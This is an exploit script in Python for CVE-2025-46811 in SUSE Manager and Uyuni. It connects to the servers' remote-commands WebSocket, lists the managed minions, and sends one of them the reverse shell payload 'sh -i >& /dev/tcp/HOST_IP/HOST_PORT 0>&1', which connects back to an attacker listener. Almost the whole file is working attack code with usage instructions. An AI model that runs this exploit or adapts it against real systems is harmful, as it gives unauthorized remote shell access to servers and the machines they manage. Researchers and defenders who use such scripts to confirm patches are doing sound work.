# Exploit Title: SUSE Manager 4.3.15 - Code Execution
# Date: 29.01.2026
# Exploit Author: Wiktor Maj
# Vendor Homepage: https://www.uyuni-project.org/
# Software Link: https://github.com/uyuni-project/uyuni
# Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15
# Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0
# CVE: CVE-2025-46811
# Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni.
# Set up a listener session in a separate terminal.
# After the payload is sent, switch to your listener terminal to check if a shell pops up.
# Example:
# python3 cve-2025-46811.py --ip 192.168.10.126 --port 443 --host-ip 192.168.10.113 --host-port 9001 --ssl
#### PROGRAM CONSTRAINTS ####
PAYLOAD = f"sh -i >& /dev/tcp/HOST_IP/HOST_PORT 0>&1" # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args
CONNECTION_RETRIES = 4 # number of connection attempts
CONNECTION_DELAY_BETWEEN_RETRIES = 15 # seconds
WEBSOCKET_TIMEOUT = 10 # seconds
##############################
import argparse
import json
import socket
import ssl
import sys
import time
import websocket
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Implementation of CVE-2025-46811 exploit for SUSE Manager & Uyuni.", add_help=False)
parser.add_argument("-h", "--help", action="help", default=argparse.SUPPRESS, help="Display this help text and exit.")
parser.add_argument("--ip", required=True, help="Victim IPv4 or hostname.")
parser.add_argument("--port", type=int, default=443, help="Victim port (default: 443).")
parser.add_argument("--host-ip", required=True, help="Attacker host IPv4 or hostname.")
parser.add_argument("--host-port", type=int, required=True, help="Attacker host port.")
group = parser.add_mutually_exclusive_group()
group.add_argument("--ssl", dest="ssl", action="store_true",
help="Use SSL/TLS for the WebSocket connection (default).")
group.add_argument("--no-ssl", dest="ssl", action="store_false",
help="Disable SSL/TLS and use plaintext WebSocket.")
parser.set_defaults(ssl=True)
return parser.parse_args()
def resolve_target(hostname: str) -> str:
return socket.gethostbyname(hostname)
def receive_preview_minions_message(websocket_connection: websocket.WebSocket) -> str:
while True:
try:
message = websocket_connection.recv()
if message:
print("Received:", message)
if isinstance(message, bytes):
message = message.decode("utf-8", errors="replace")
return message
except websocket.WebSocketTimeoutException as exception:
raise RuntimeError("Failed to receive preview minions message") from exception
def decode_preview_minions_message(message: str) -> list[str]:
try:
preview_output = json.loads(message)
except json.JSONDecodeError as exception:
raise RuntimeError("Preview response is not valid JSON") from exception
if (
isinstance(preview_output, dict)
and isinstance(preview_output.get("minions"), list)
and preview_output["minions"]
and all(isinstance(entity, str) for entity in preview_output["minions"])
):
return preview_output["minions"]
raise RuntimeError("Preview response expected non-empty 'minions' list")
def receive_preview_minions(websocket_connection: websocket.WebSocket) -> list[str]:
message = receive_preview_minions_message(websocket_connection)
minions = decode_preview_minions_message(message)
return minions
def select_minion(minions: list[str]) -> str:
print("Available minions:")
for minion_id, minion_name in enumerate(minions, start=1):
print(f"{minion_id}) {minion_name}")
prompt = "Select minion number (default is '1', or 'c' to cancel): "
while True:
choice = input(prompt).strip()
if choice == "":
return minions[0]
if choice.lower() == "c":
print("No minion selected. Exiting.")
sys.exit(0)
if choice.isdigit():
index = int(choice)
if 1 <= index <= len(minions):
return minions[index - 1]
print("Invalid selection.")
def connect_to_websocket(target_ip: str,
port: int,
use_ssl: bool,
sslopt: dict,
) -> websocket.WebSocket:
scheme = "wss" if use_ssl else "ws"
try:
return websocket.create_connection(
f"{scheme}://{target_ip}:{port}/rhn/websocket/minion/remote-commands",
timeout=WEBSOCKET_TIMEOUT,
sslopt=sslopt,
)
except ssl.SSLError as exception:
if "WRONG_VERSION_NUMBER" in str(exception):
raise RuntimeError("Websocket seems to be unsecured, try with --no-ssl") from exception
raise
except websocket.WebSocketBadStatusException as exception:
if exception.status_code == 400:
raise RuntimeError("Websocket seems to be secured, try with --ssl") from exception
raise
except TimeoutError as exception:
raise RuntimeError("Websocket is likely under firewall") from exception
def get_minions(target_ip: str,
port: int,
use_ssl: bool,
) -> tuple[websocket.WebSocket, list[str]]:
sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False}
for attempt in range(1, CONNECTION_RETRIES + 1):
websocket_connection = None
try:
websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt)
websocket_connection.send(json.dumps({"preview": True, "target": "*"}))
minions = receive_preview_minions(websocket_connection)
return websocket_connection, minions
except (
websocket.WebSocketTimeoutException,
websocket.WebSocketConnectionClosedException,
):
if websocket_connection is not None:
websocket_connection.close()
if attempt == CONNECTION_RETRIES:
break
time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES)
raise RuntimeError("Target websocket is not vulnerable or not reachable")
def send_payload(websocket_connection: websocket.WebSocket, target: str) -> None:
payload = PAYLOAD.replace("HOST_IP", args.host_ip).replace("HOST_PORT", str(args.host_port))
websocket_connection.send(json.dumps({"preview": False, "target": target, "command": payload}))
if __name__ == "__main__":
args = parse_args()
websocket_connection = None
try:
websocket_connection, minions = get_minions(
target_ip=resolve_target(args.ip),
port=args.port,
use_ssl=args.ssl,
)
selected_minion = select_minion(minions)
send_payload(websocket_connection, selected_minion)
print("Payload sent, closing.")
finally:
if websocket_connection is not None:
websocket_connection.close()